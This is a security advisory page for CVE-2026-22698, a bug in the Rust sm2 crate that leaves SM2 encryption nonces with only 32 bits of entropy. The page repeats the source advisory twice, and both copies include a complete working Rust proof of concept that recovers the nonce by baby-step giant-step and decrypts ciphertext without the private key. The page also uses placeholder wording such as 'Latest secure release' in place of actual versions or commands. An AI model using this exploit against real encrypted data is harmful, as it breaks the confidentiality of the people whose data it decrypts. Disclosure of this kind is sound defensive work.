CVE-2026-22698: Sm2 SM2-PKE Has 32-bit Biased Nonce Vulnerability

HIGH
Advisory Identifier: GHSA-w3g8-fp6j-wvqw
CWE-331
Published
Advisory Summary

CVE-2026-22698 is a HIGH sm2-pke has 32-bit biased nonce vulnerability (CWE-331: Insufficient Entropy) affecting Sm2 libraries in the crates.io ecosystem. The issue involves sm2-pke has 32-bit biased nonce vulnerability. Remediation is available in the latest vendor maintenance releases.

CVE-2026-22698 at a Glance

CVE Identifier CVE-2026-22698
GHSA Identifier GHSA-w3g8-fp6j-wvqw
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-331: Insufficient Entropy
Affected Product Sm2
Package Ecosystem crates.io
Published Date
Last Updated

How to Fix CVE-2026-22698

To remediate this vulnerability, upgrade all affected Sm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

sm2 fixed: Latest secure release
Upgrade sm2 to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for sm2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-22698, inspect your project dependencies for Sm2:

inspect dependencies for sm2

Analyze the terminal output to locate any version of Sm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-331: Insufficient Entropy, where the product uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others. In Sm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce `k` is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce `k` and decrypt any ciphertext **given only the public key and ciphertext**. ### Affected Versions - sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0) - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0) This vulnerability is introduced in commit: [Commit 4781762](https://github.com/RustCrypto/elliptic-curves/commit/4781762f23ff22ab34763410f648128055c93731) on Sep 6, 2024, which is over a year ago. ### Details The root cause of this vulnerability is a unit mismatch in the `encrypt` function located in `sm2/src/pke/encrypting.rs`. 1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant `N_BYTES`. ```rust const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes) ``` 2. However, this `N_BYTES` value is then passed to the `next_k` helper function, which incorrectly interprets this value as a *bit length*. ```rust let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap(); ``` 3. Inside `next_k`, the `bit_length` parameter (which holds the value 32) is passed directly to `U256::try_random_bits`, a function that generates a random number with the specified number of bits. ```rust fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> { let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?; // ... } ``` As a result, the ephemeral nonce `k` is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure. ### PoC A proof-of-concept demonstrating the feasibility of this attack is provided in `examples/bsgs_recover.rs`. The PoC performs the following steps: 1. **Encrypt a Message**: It uses the vulnerable `EncryptingKey::encrypt` function to encrypt a sample message. 2. **Extract Ephemeral Public Key**: It parses the ciphertext to extract `C1`, which is the ephemeral public key `[k]G`. 3. **Recover Nonce `k`**: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce `k`. This attack is computationally feasible on modern hardware in seconds with time complexity `O(2^16)`. 4. **Decrypt without Secret Key**: Once `k` is recovered, it computes the shared secret `[k]PB` (where `PB` is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key. `examples/bsgs_recover.rs` ``` rust //! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS) //! //! This example intentionally demonstrates an attack on the vulnerable //! `EncryptingKey::encrypt` implementation which (in the current repository //! state) may generate k with only 32 bits of entropy. The example: //! - Generates a key pair and encrypts a short plaintext. //! - Extracts C1 from the ciphertext (ephemeral public key [k]G). //! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16). //! use std::collections::HashMap; use std::error::Error; use rand_core::OsRng; use sm2::{ pke::Mode, pke::EncryptingKey, PublicKey, SecretKey, AffinePoint, ProjectivePoint, Scalar, }; use elliptic_curve::bigint::U256; use elliptic_curve::{Group, Curve}; use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint}; use sm3::{Sm3, Digest}; /// Baby-step giant-step over the 32-bit search space. fn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> { // search parameters let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space // baby steps: j*G -> j let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1); for j in 0..m { let j_u256 = U256::from_u32(j); let s = Scalar::from_uint(&j_u256).unwrap(); let p = ProjectivePoint::mul_by_generator(&s).to_affine(); let ep = p.to_encoded_point(false); baby.insert(ep.as_bytes().to_vec(), j); } // giant steps for i in 0..=m { let im = (i as u64) * (m as u64); let im_u256 = U256::from_u64(im); let im_scalar = Scalar::from_uint(&im_u256).unwrap(); let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine(); // candidate = C1 - im_point let c1_proj = ProjectivePoint::from(c1); let im_proj = ProjectivePoint::from(&im_point); let candidate_proj = c1_proj + (-im_proj); let candidate = candidate_proj.to_affine(); let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec(); if let Some(&j) = baby.get(&cand_bytes) { let k_recovered = im + (j as u64); return Some(U256::from_u64(k_recovered)); } } None } /// KDF using SM3 (re-implementation of crate internal `kdf`). fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) { let mut hasher = Sm3::new(); let klen = c2.len(); let mut ct: u32 = 0x00000001; let digest_size = 32usize; // SM3 output is 32 bytes let mut ha = vec![0u8; digest_size]; let encode_point = kpb.to_encoded_point(false); let mut offset = 0usize; while offset < klen { hasher.update(encode_point.x().unwrap()); hasher.update(encode_point.y().unwrap()); hasher.update(&ct.to_be_bytes()); let out = hasher.finalize_reset(); ha.copy_from_slice(out.as_slice()); let xor_len = core::cmp::min(digest_size, klen - offset); for i in 0..xor_len { c2[offset + i] ^= ha[i]; } offset += xor_len; ct = ct.wrapping_add(1); } } /// Decrypt ciphertext given recovered k and recipient public key (without secret key). fn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> { // parse c1 let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32 let c1_len = n_bytes * 2 + 1; if ciphertext.len() < c1_len { return Err("ciphertext too short".into()); } let (_c1_bytes, rest) = ciphertext.split_at(c1_len); // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB let pb_affine = pubkey.as_affine(); let k_scalar = Scalar::from_uint(&k).unwrap(); let s = *pb_affine; // cofactor h == 1 let hpb = (s * k_scalar).to_affine(); // split rest into c2 and c3 depending on mode let digest_size = 32usize; // SM3 output size let (c2_slice, c3_slice) = match mode { Mode::C1C2C3 => { let c2_len = rest.len() - digest_size; rest.split_at(c2_len) } Mode::C1C3C2 => { let (c3, c2) = rest.split_at(digest_size); (c2, c3) } }; let mut c2 = c2_slice.to_owned(); // KDF to recover plaintext kdf_sm3(hpb, &mut c2); // verify c3 let mut check = Sm3::new(); let enc = hpb.to_encoded_point(false); check.update(enc.x().unwrap()); check.update(&c2); check.update(enc.y().unwrap()); let out = check.finalize_reset(); if out.as_slice() != c3_slice { return Err("c3 verification failed".into()); } Ok(c2) } /// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt. fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> { // extract C1 let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32 let c1_len = n_bytes * 2 + 1; let (c1_bytes, _rest) = ciphertext.split_at(c1_len); let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?; let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap(); if let Some(k) = bsgs_recover_k(&c1_affine) { println!("recovered k = 0x{:x}", k); let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?; return Ok(plain); } Err("failed to recover k".into()) } fn main() -> Result<(), Box<dyn Error>> { // demo: generate keypair, encrypt, then recover and decrypt without secret key let mut rng = OsRng; let sk = SecretKey::try_from_rng(&mut rng)?; let pk = sk.public_key(); let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3); let msg = b"attack-demo-sm2-bsgs-recover-example"; let ct = ek.encrypt(&mut rng, msg)?; print!("Trying to recover k and decrypt...\n"); let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?; println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?); Ok(()) } ``` To run the PoC (tested on Apple M3): ```bash $ time cargo run --example bsgs_recover Trying to recover k and decrypt... recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79 recovered plaintext: attack-demo-sm2-bsgs-recover-example cargo run --example bsgs_recover 14.44s user 0.13s system 89% cpu 16.266 total ``` ### Impact This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds). The severity is **Critical**, as it breaks the core security promise of the public key encryption scheme. All versions of the `sm2` crate with the vulnerable PKE implementation are affected. - Fix 1: Modify the input parameter to the correct 256 bits ``` rust let k_uint = next_k(rng, N_BYTES * 8)?; ``` - Fix 2: We believe that the `next_k` function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary. ``` rust fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> { loop { let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?; if !bool::from(k.is_zero()) && k < *Sm2::ORDER { return Ok(k); } } } ``` ### Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine CVE and credit are preferred. If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com. ### Note SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.

CVE-2026-22698 Affected Sm2 Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
sm2
crates.io
≥ 0.14.0-pre.0
≤ 0.14.0-rc.4

References

Frequently Asked Questions

What is CVE-2026-22698?
CVE-2026-22698 is a security vulnerability in Sm2 involving SM2-PKE has 32-bit Biased Nonce Vulnerability under CWE-331: Insufficient Entropy.
Which Sm2 versions are affected?
Affected versions include releases prior to current release patches across affected packages: sm2.
What version fixes CVE-2026-22698?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is sm2 affected?
Yes, sm2 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2026-22698?
CVE-2026-22698 is classified under CWE-331: Insufficient Entropy (The product uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.).
How can I check crates.io dependencies for CVE-2026-22698?
Run the dependency tree command: 'inspect dependencies for sm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w3g8-fp6j-wvqw",
  "modified" : "2026-01-11T14:56:33Z",
  "published" : "2026-01-09T22:27:50Z",
  "aliases" : [ "CVE-2026-22698" ],
  "summary" : "SM2-PKE has 32-bit Biased Nonce Vulnerability",
  "details" : "### Summary\n\nA critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce `k` is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce `k` and decrypt any ciphertext **given only the public key and ciphertext**.\n\n\n\n### Affected Versions\n\n- sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)\n- sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)\n\nThis vulnerability is introduced in commit: [Commit 4781762](https://github.com/RustCrypto/elliptic-curves/commit/4781762f23ff22ab34763410f648128055c93731) on Sep 6, 2024, which is over a year ago.\n\n\n\n### Details\n\nThe root cause of this vulnerability is a unit mismatch in the `encrypt` function located in `sm2/src/pke/encrypting.rs`.\n\n1.  The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant `N_BYTES`.\n    ```rust\n    const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)\n    ```\n2.  However, this `N_BYTES` value is then passed to the `next_k` helper function, which incorrectly interprets this value as a *bit length*.\n    ```rust\n    let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap();\n    ```\n3.  Inside `next_k`, the `bit_length` parameter (which holds the value 32) is passed directly to `U256::try_random_bits`, a function that generates a random number with the specified number of bits.\n    ```rust\n    fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> {\n        let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;\n        // ...\n    }\n    ```\n    As a result, the ephemeral nonce `k` is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.\n    \n    \n\n### PoC\n\nA proof-of-concept demonstrating the feasibility of this attack is provided in `examples/bsgs_recover.rs`. The PoC performs the following steps:\n\n1.  **Encrypt a Message**: It uses the vulnerable `EncryptingKey::encrypt` function to encrypt a sample message.\n2.  **Extract Ephemeral Public Key**: It parses the ciphertext to extract `C1`, which is the ephemeral public key `[k]G`.\n3.  **Recover Nonce `k`**: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce `k`. This attack is computationally feasible on modern hardware in seconds with time complexity `O(2^16)`.\n4.  **Decrypt without Secret Key**: Once `k` is recovered, it computes the shared secret `[k]PB` (where `PB` is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.\n\n`examples/bsgs_recover.rs`\n\n``` rust\n//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)\n//!\n//! This example intentionally demonstrates an attack on the vulnerable\n//! `EncryptingKey::encrypt` implementation which (in the current repository\n//! state) may generate k with only 32 bits of entropy. The example:\n//! - Generates a key pair and encrypts a short plaintext.\n//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).\n//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).\n//!\n\nuse std::collections::HashMap;\nuse std::error::Error;\n\nuse rand_core::OsRng;\n\nuse sm2::{\n    pke::Mode,\n    pke::EncryptingKey,\n    PublicKey,\n    SecretKey,\n    AffinePoint,\n    ProjectivePoint,\n    Scalar,\n};\nuse elliptic_curve::bigint::U256;\nuse elliptic_curve::{Group, Curve};\nuse elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};\nuse sm3::{Sm3, Digest};\n\n/// Baby-step giant-step over the 32-bit search space.\nfn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {\n    // search parameters\n    let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space\n\n    // baby steps: j*G -> j\n    let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);\n    for j in 0..m {\n        let j_u256 = U256::from_u32(j);\n        let s = Scalar::from_uint(&j_u256).unwrap();\n        let p = ProjectivePoint::mul_by_generator(&s).to_affine();\n        let ep = p.to_encoded_point(false);\n        baby.insert(ep.as_bytes().to_vec(), j);\n    }\n\n    // giant steps\n    for i in 0..=m {\n        let im = (i as u64) * (m as u64);\n        let im_u256 = U256::from_u64(im);\n        let im_scalar = Scalar::from_uint(&im_u256).unwrap();\n        let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();\n\n        // candidate = C1 - im_point\n        let c1_proj = ProjectivePoint::from(c1);\n        let im_proj = ProjectivePoint::from(&im_point);\n        let candidate_proj = c1_proj + (-im_proj);\n        let candidate = candidate_proj.to_affine();\n        let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();\n\n        if let Some(&j) = baby.get(&cand_bytes) {\n            let k_recovered = im + (j as u64);\n            return Some(U256::from_u64(k_recovered));\n        }\n    }\n    None\n}\n\n/// KDF using SM3 (re-implementation of crate internal `kdf`).\nfn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {\n    let mut hasher = Sm3::new();\n    let klen = c2.len();\n    let mut ct: u32 = 0x00000001;\n    let digest_size = 32usize; // SM3 output is 32 bytes\n    let mut ha = vec![0u8; digest_size];\n    let encode_point = kpb.to_encoded_point(false);\n\n    let mut offset = 0usize;\n    while offset < klen {\n        hasher.update(encode_point.x().unwrap());\n        hasher.update(encode_point.y().unwrap());\n        hasher.update(&ct.to_be_bytes());\n        let out = hasher.finalize_reset();\n        ha.copy_from_slice(out.as_slice());\n\n        let xor_len = core::cmp::min(digest_size, klen - offset);\n        for i in 0..xor_len {\n            c2[offset + i] ^= ha[i];\n        }\n        offset += xor_len;\n        ct = ct.wrapping_add(1);\n    }\n}\n\n/// Decrypt ciphertext given recovered k and recipient public key (without secret key).\nfn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {\n    // parse c1\n    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32\n    let c1_len = n_bytes * 2 + 1;\n    if ciphertext.len() < c1_len {\n        return Err(\"ciphertext too short\".into());\n    }\n    let (_c1_bytes, rest) = ciphertext.split_at(c1_len);\n\n    // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB\n    let pb_affine = pubkey.as_affine();\n    let k_scalar = Scalar::from_uint(&k).unwrap();\n    let s = *pb_affine; // cofactor h == 1\n    let hpb = (s * k_scalar).to_affine();\n\n    // split rest into c2 and c3 depending on mode\n    let digest_size = 32usize; // SM3 output size\n    let (c2_slice, c3_slice) = match mode {\n        Mode::C1C2C3 => {\n            let c2_len = rest.len() - digest_size;\n            rest.split_at(c2_len)\n        }\n        Mode::C1C3C2 => {\n            let (c3, c2) = rest.split_at(digest_size);\n            (c2, c3)\n        }\n    };\n\n    let mut c2 = c2_slice.to_owned();\n    // KDF to recover plaintext\n    kdf_sm3(hpb, &mut c2);\n\n    // verify c3\n    let mut check = Sm3::new();\n    let enc = hpb.to_encoded_point(false);\n    check.update(enc.x().unwrap());\n    check.update(&c2);\n    check.update(enc.y().unwrap());\n    let out = check.finalize_reset();\n    if out.as_slice() != c3_slice {\n        return Err(\"c3 verification failed\".into());\n    }\n\n    Ok(c2)\n}\n\n/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.\nfn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {\n    // extract C1\n    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32\n    let c1_len = n_bytes * 2 + 1;\n    let (c1_bytes, _rest) = ciphertext.split_at(c1_len);\n    let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;\n    let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();\n\n    if let Some(k) = bsgs_recover_k(&c1_affine) {\n        println!(\"recovered k = 0x{:x}\", k);\n        let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;\n        return Ok(plain);\n    }\n    Err(\"failed to recover k\".into())\n}\n\nfn main() -> Result<(), Box<dyn Error>> {\n    // demo: generate keypair, encrypt, then recover and decrypt without secret key\n    let mut rng = OsRng;\n    let sk = SecretKey::try_from_rng(&mut rng)?;\n    let pk = sk.public_key();\n    let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);\n    let msg = b\"attack-demo-sm2-bsgs-recover-example\";\n    let ct = ek.encrypt(&mut rng, msg)?;\n    print!(\"Trying to recover k and decrypt...\\n\");\n    let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;\n    println!(\"recovered plaintext: {}\", std::str::from_utf8(&recovered)?);\n    Ok(())\n}\n\n```\n\nTo run the PoC (tested on Apple M3): \n\n```bash\n$ time cargo run --example bsgs_recover \nTrying to recover k and decrypt...\nrecovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79\nrecovered plaintext: attack-demo-sm2-bsgs-recover-example\ncargo run --example bsgs_recover  14.44s user 0.13s system 89% cpu 16.266 total\n```\n\n\n\n### Impact\n\nThis vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).\n\nThe severity is **Critical**, as it breaks the core security promise of the public key encryption scheme. All versions of the `sm2` crate with the vulnerable PKE implementation are affected. \n\n- Fix 1: Modify the input parameter to the correct 256 bits\n\n  ``` rust\n  let k_uint = next_k(rng, N_BYTES * 8)?;\n  ```\n\n- Fix 2: We believe that the `next_k` function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.\n\n  ``` rust\n  fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {\n      loop {\n          let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;\n          if !bool::from(k.is_zero()) && k < *Sm2::ORDER {\n              return Ok(k);\n          }\n      }\n  }\n  ```\n\n  \n\n### Credit\n\nThis vulnerability was discovered by:\n\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE and credit are preferred.\n\nIf developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at  xlabai@tencent.com.\n\n\n\n### Note\n\nSM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "sm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.14.0-pre.0"
      }, {
        "last_affected" : "0.14.0-rc.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-w3g8-fp6j-wvqw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22698"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/RustCrypto/elliptic-curves/pull/1600"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/RustCrypto/elliptic-curves/commit/4781762f23ff22ab34763410f648128055c93731"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/RustCrypto/elliptic-curves/commit/e4f77788130d065d760e57fb109370827110a525"
  }, {
    "type" : "WEB",
    "url" : "https://crates.io/crates/sm2/0.14.0-pre.0"
  }, {
    "type" : "WEB",
    "url" : "https://crates.io/crates/sm2/0.14.0-rc.0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/RustCrypto/elliptic-curves"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-331" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-09T22:27:50Z",
    "nvd_published_at" : "2026-01-10T06:15:52Z"
  }
}